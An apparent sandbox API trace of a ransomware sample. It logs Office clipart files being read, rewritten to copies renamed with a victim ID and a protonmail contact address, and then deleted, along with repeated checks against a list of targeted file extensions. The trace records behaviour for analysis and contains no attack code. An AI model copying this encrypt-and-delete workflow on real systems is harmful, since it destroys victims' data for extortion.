	[0207.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220
	[0207.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.551] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.551] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.552] GetLastError () returned 0x0
	[0207.552] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0xc38, lpOverlapped=0x0) returned 1
	[0207.553] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xc40, lpOverlapped=0x0) returned 1
	[0207.554] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.554] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.554] SetEndOfFile (hFile=0x378) returned 1
	[0207.554] CloseHandle (hObject=0x378) returned 1
	[0207.554] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.554] SetEndOfFile (hFile=0x374) returned 1
	[0207.555] CloseHandle (hObject=0x374) returned 1
	[0207.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString=".doc") returned 4
	[0207.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString=".docx") returned 5
	[0207.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.556] lstrlenW (lpString=".pdf") returned 4
	[0207.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString=".xls") returned 4
	[0207.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.556] lstrlenW (lpString=".xlsx") returned 5
	[0207.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.556] lstrlenW (lpString=".ppt") returned 4
	[0207.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString=".zip") returned 4
	[0207.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.556] lstrlenW (lpString=".rar") returned 4
	[0207.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString=".bz2") returned 4
	[0207.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString=".7z") returned 3
	[0207.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString=".dbf") returned 4
	[0207.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString=".1cd") returned 4
	[0207.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.556] lstrlenW (lpString=".jpg") returned 4
	[0207.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString=".doc") returned 4
	[0207.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString=".docx") returned 5
	[0207.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.557] lstrlenW (lpString=".pdf") returned 4
	[0207.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString=".xls") returned 4
	[0207.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.557] lstrlenW (lpString=".xlsx") returned 5
	[0207.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.557] lstrlenW (lpString=".ppt") returned 4
	[0207.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString=".zip") returned 4
	[0207.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.557] lstrlenW (lpString=".rar") returned 4
	[0207.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString=".bz2") returned 4
	[0207.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString=".7z") returned 3
	[0207.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString=".dbf") returned 4
	[0207.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString=".1cd") returned 4
	[0207.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0207.557] lstrlenW (lpString=".jpg") returned 4
	[0207.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.558] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.558] lstrlenW (lpString="FLAP.WMF") returned 8
	[0207.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.558] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=2070) returned 1
	[0207.558] CloseHandle (hObject=0x374) returned 1
	[0207.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220
	[0207.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.558] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.559] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.559] GetLastError () returned 0x0
	[0207.559] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x816, lpOverlapped=0x0) returned 1
	[0207.821] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x820, lpOverlapped=0x0) returned 1
	[0207.823] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.823] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xe4, lpOverlapped=0x0) returned 1
	[0207.823] SetEndOfFile (hFile=0x378) returned 1
	[0207.823] CloseHandle (hObject=0x378) returned 1
	[0207.823] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.823] SetEndOfFile (hFile=0x374) returned 1
	[0207.824] CloseHandle (hObject=0x374) returned 1
	[0207.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0207.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.825] lstrlenW (lpString=".doc") returned 4
	[0207.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.825] lstrlenW (lpString=".docx") returned 5
	[0207.825] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0207.825] lstrlenW (lpString=".pdf") returned 4
	[0207.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.825] lstrlenW (lpString=".xls") returned 4
	[0207.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.825] lstrlenW (lpString=".xlsx") returned 5
	[0207.825] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0207.825] lstrlenW (lpString=".ppt") returned 4
	[0207.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.825] lstrlenW (lpString=".zip") returned 4
	[0207.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.825] lstrlenW (lpString=".rar") returned 4
	[0207.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.825] lstrlenW (lpString=".bz2") returned 4
	[0207.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString=".7z") returned 3
	[0207.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString=".dbf") returned 4
	[0207.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString=".1cd") returned 4
	[0207.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString=".jpg") returned 4
	[0207.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString=".doc") returned 4
	[0207.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString=".docx") returned 5
	[0207.826] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0207.826] lstrlenW (lpString=".pdf") returned 4
	[0207.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString=".xls") returned 4
	[0207.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.826] lstrlenW (lpString=".xlsx") returned 5
	[0207.826] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0207.826] lstrlenW (lpString=".ppt") returned 4
	[0207.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.826] lstrlenW (lpString=".zip") returned 4
	[0207.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.827] lstrlenW (lpString=".rar") returned 4
	[0207.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.827] lstrlenW (lpString=".bz2") returned 4
	[0207.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.827] lstrlenW (lpString=".7z") returned 3
	[0207.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.827] lstrlenW (lpString=".dbf") returned 4
	[0207.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.827] lstrlenW (lpString=".1cd") returned 4
	[0207.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0207.827] lstrlenW (lpString=".jpg") returned 4
	[0207.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.827] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.827] lstrlenW (lpString="HH00526_.WMF") returned 12
	[0207.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.828] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=13538) returned 1
	[0207.828] CloseHandle (hObject=0x374) returned 1
	[0207.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220
	[0207.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.828] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.828] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.829] GetLastError () returned 0x0
	[0207.829] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x34e2, lpOverlapped=0x0) returned 1
	[0207.831] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x34f0, lpOverlapped=0x0) returned 1
	[0207.832] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.832] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.832] SetEndOfFile (hFile=0x378) returned 1
	[0207.833] CloseHandle (hObject=0x378) returned 1
	[0207.833] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.833] SetEndOfFile (hFile=0x374) returned 1
	[0207.834] CloseHandle (hObject=0x374) returned 1
	[0207.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0207.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.835] lstrlenW (lpString=".doc") returned 4
	[0207.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.835] lstrlenW (lpString=".docx") returned 5
	[0207.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.835] lstrlenW (lpString=".pdf") returned 4
	[0207.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.835] lstrlenW (lpString=".xls") returned 4
	[0207.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.835] lstrlenW (lpString=".xlsx") returned 5
	[0207.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.835] lstrlenW (lpString=".ppt") returned 4
	[0207.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.835] lstrlenW (lpString=".zip") returned 4
	[0207.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.835] lstrlenW (lpString=".rar") returned 4
	[0207.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.835] lstrlenW (lpString=".bz2") returned 4
	[0207.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString=".7z") returned 3
	[0207.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString=".dbf") returned 4
	[0207.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString=".1cd") returned 4
	[0207.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString=".jpg") returned 4
	[0207.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString=".doc") returned 4
	[0207.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString=".docx") returned 5
	[0207.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.836] lstrlenW (lpString=".pdf") returned 4
	[0207.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString=".xls") returned 4
	[0207.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.836] lstrlenW (lpString=".xlsx") returned 5
	[0207.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.836] lstrlenW (lpString=".ppt") returned 4
	[0207.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.836] lstrlenW (lpString=".zip") returned 4
	[0207.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.836] lstrlenW (lpString=".rar") returned 4
	[0207.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.837] lstrlenW (lpString=".bz2") returned 4
	[0207.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.837] lstrlenW (lpString=".7z") returned 3
	[0207.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.837] lstrlenW (lpString=".dbf") returned 4
	[0207.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.837] lstrlenW (lpString=".1cd") returned 4
	[0207.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0207.837] lstrlenW (lpString=".jpg") returned 4
	[0207.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.837] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.837] lstrlenW (lpString="HH00527_.WMF") returned 12
	[0207.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.837] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=5798) returned 1
	[0207.837] CloseHandle (hObject=0x374) returned 1
